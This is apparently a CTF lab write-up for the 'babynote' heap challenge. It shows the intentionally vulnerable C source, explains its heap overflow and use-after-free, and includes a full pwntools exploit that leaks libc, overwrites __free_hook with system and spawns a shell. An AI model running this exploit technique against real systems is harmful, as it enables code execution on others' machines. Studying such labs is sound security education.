Simple PWN 0x18(Lab - babynote)
tags: CTF PWN eductf
Version: Ubuntu 20.04
Background
- hook - SS111-Pwn2
Hook簡介
Hook Function (攔截函式)
- The process of free and priority
Assume we malloc a memory with size over `0x410`, then when we free it, it’ll be classified to `Unsorted bin` instead of
tcache
Original Code
:::spoiler code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Note
{
char name[0x10];
void *data;
};
struct Note *notes[0x10];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 0x10)
printf("no, no ...\n"), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
return size;
}
void add_note()
{
short int idx;
idx = get_idx();
notes[idx] = malloc(sizeof(*notes[idx]));
printf("note name\n> ");
read(0, notes[idx]->name, 0x10);
notes[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (notes[idx]->data == NULL)
notes[idx]->data = malloc(size);
read(0, notes[idx]->data, size);
printf("success!\n");
}
void del_note()
{
short int idx;
idx = get_idx();
free(notes[idx]->data);
free(notes[idx]);
printf("success!\n");
}
void show_notes()
{
for (int i = 0; i < 0x10; i++) {
if (notes[i] == NULL || notes[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
}
}
int main()
{
char opt[2];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
printf("1. add_note\n"
"2. edit_data\n"
"3. del_note\n"
"4. show_notes\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_note(); break;
case '2': edit_data(); break;
case '3': del_note(); break;
case '4': show_notes(); break;
case '5': exit(0);
}
}
return 0;
}
:::
Description
The data structure is as below, we can use add_note to create a new note and use edit_note to add/modify the data of note. Or just delete specific note or use show_note to print all of them.

Something Wrong
- edit_note has heap overflow
So that we can add 2 notes and use edit function to overlap the 2nd notes.
add_note(0, b'a'*8) edit_note(0, 0xa, b'a') add_note(1, b'b'*8) edit_note(1, 0x30, b'a'*48) #<-- overlap-
Before overlap

-
After overlap

-
- used after free(UAF)
It has not deleted the pointer when it was freed
void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); }
Preliminary Idea
Based on the problem we found above, we can try to use __free_hook to execute `system('/bin/sh')`
Exploit - UAF + heap overflow + __free_hook
- Try to construct heap structure that we need
add_note(0, b'a'*8) # index 0 edit_note(0, 0x418, b'a') add_note(1, b'b'*8) # index 1 edit_note(1, 0x18, b'b') add_note(2, b'c'*8) # index 2-
index 0is for leaking the address oflibc -
index 1is to implement heap overflow -
index 2is a fake chunk that we have to construct
-
- Leak
libcaddress and find__free_hook,__libc_system- The reason that we set the data size of
index 0be0x418(1048 in decimal) is because when we free it, it will be classified toUnsorted binand thefdandbkwill store the address oflibc
Then we have to find where is __libc_systemand__free_hookpwndbg> p __libc_system $1 = {int (const char *)} 0x7f9614bac290 <__libc_system> pwndbg> p &__free_hook $2 = (void (**)(void *, const void *)) 0x7f9614d48e48 <__free_hook>The offset is
Unsorted bin fd: $0x7f9614d46be0 - 0x7f9614b5a000 = 0x1ecbe0$__libc_system: $0x7f9614bac290 - 0x7f9614b5a000 = 0x52290$__free_hook: $0x7f9614d48e48 - 0x7f9614b5a000 = 0x1eee48$
So, we delete
index 0first, and try to useshow_notefunction to receive theUnsorted bin fddelete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}") - The reason that we set the data size of
- Construct fake chunk by using heap overflow
data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr))
Note that, the data of notestructure is a pointer that point to a space that system malloc. Thus,edit_notefunction will modify the pointed space, so thatedit_note(b'2\n', b'8\n', p64(libc_sys_addr))will modify[free_hook_addr]instead ofindex 2.
- Delete
index 1and call__free_hookWhen we freeindex 1and__free_hookis not NULL, then__free_hookcan be a function pointer to execute0x7ffbb6500290that is__libc_systemand the parameter isindex 1data, that is/bin/sh\x00delete_note(1) - Well, we got shell!!
- Whole exploit
:::spoiler code
from pwn import * # r = process('./chal') r = remote('edu-ctf.zoolab.org', 10007) context.arch = 'amd64' def add_note(idx, note_name): r.sendafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(idx)) r.sendafter(b'note name\n> ', note_name) def edit_note(idx, note_size, message): r.sendafter(b"> ", b"2") r.sendlineafter(b'index\n> ', str(idx)) r.sendlineafter(b'size\n> ', str(note_size)) r.send(message) def delete_note(idx): r.sendafter(b"> ", b"3") r.sendlineafter(b'index\n> ', str(idx)) def show_note(): r.sendafter(b"> ", b"4") '''------------------ Construct heap memory ------------------''' add_note(0, b'a'*8) edit_note(0, 0x418, b'a') add_note(1, b'b'*8) edit_note(1, 0x18, b'b') add_note(2, b'c'*8) '''------------------ Leak libc address ------------------''' delete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}") '''------------------ Construct fake chunk ------------------''' data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr)) delete_note(1) r.interactive():::